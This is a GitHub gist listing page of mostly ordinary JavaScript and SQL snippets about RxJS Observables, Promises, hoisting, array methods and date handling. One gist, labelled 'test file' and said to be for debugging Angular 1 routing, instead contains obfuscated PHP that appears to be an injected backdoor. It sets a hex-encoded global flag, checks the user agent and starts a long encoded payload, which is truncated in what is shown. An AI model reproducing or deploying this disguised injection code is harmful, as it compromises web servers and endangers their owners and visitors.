Skip to content

Instantly share code, notes, and snippets.

View shivenigma's full-sized avatar
🎯
Focusing

Vignesh M shivenigma

🎯
Focusing
View GitHub Profile
@shivenigma
shivenigma / Observables-example.js
Created August 13, 2020 15:06
Used in blog post
import { Observable } from 'rxjs';
const greeting$ = new Observable(observer => {
const clear = setInterval(() => {
observer.next('Hello, there');
}, 1000);
// Need to handle the interval here, otherwise you'll end up in a infinitely firing observable.
});
greeting$.subscribe(res => {
@shivenigma
shivenigma / promise-example-1.js
Last active August 13, 2020 14:54
Used in a blog post
const greet = new Promise((resolve, reject) => {
resolve('Hello, there');
});
greet.then(success => {
console.log(success);
});
@shivenigma
shivenigma / forEach-sigature.js
Last active January 22, 2020 18:40
Javascript array methods
arr.forEach(callback, [, thisArg]);
// thisArg is optional for forEeach
// the callback has the following arguments in forEach.
callback(currentValue, [, index [, array]])
// index and array are optional
@shivenigma
shivenigma / hoisting.js
Last active August 18, 2019 09:38
JS Inteview questions
function print() {
console.log(name);
var name = "React";
var version = "2.3.1";
var isLTS = true;
}
function print() {
var name, version, isLTS;
console.log(name);
@shivenigma
shivenigma / gist:3f6ed23105dfa31326c4e5db81d770dd
Created March 19, 2019 08:34
Verifying my Blockstack ID is secured with the address
1MAxsBxsNeFDj6tPsDz4xr1sQ63DC9Td33 https://explorer.blockstack.org/address/1MAxsBxsNeFDj6tPsDz4xr1sQ63DC9Td33
@shivenigma
shivenigma / test file
Last active February 24, 2019 16:59
to debug routing issues in angular 1
test
if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $ubdbtdyqwj = ']y31]55]y85]82]y76]62]y3:]84#-!OVM7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjid5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)}X;!sp!*#opo#>>}R;msv}.;%x5c%x**9.-j%x5c%x7825-bubE{h%x5c%x78255c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x78%x5c%x787f!<X>b%x5c%x7825x7825}&;ftmbg}%x5c%x78dovg}k~~9{d%x5c%x7825:osvufs:~7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x27k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x78250%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x78257825%x5c%x7824-%x5c%x7824*<!~!ds4)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#7825V%x5c%x7827{ftmfV928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x78b%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816
@shivenigma
shivenigma / order by ASC but some value at top
Created May 11, 2015 12:31
when ordering using mysql, bringing specific values to the top of the list like country dropdown us at the top
SELECT * FROM stores ORDER BY country = "us" DESC, storeId
@shivenigma
shivenigma / creating desired date format from javascript date instance
Created April 22, 2015 13:40
the ref.timepicker and ref.enquiry.action_date is an instance of a javascript Date() object
sendData.action_date = selected.getFullYear() + "-" + selected.getMonth() + "-" + selected.getDate() + " " + ref.timepicker.mytime.getHours() + ":" + ('0' + ref.timepicker.mytime.getMinutes()).slice(-2);
@shivenigma
shivenigma / applyLeaveController.js
Created April 20, 2015 09:52
cheking whether the given objects are valid date objects in javascript
if(Object.prototype.toString.call(ref.leave.fromDate) === "[object Date]"
&& Object.prototype.toString.call(ref.leave.toDate) === "[object Date]")
{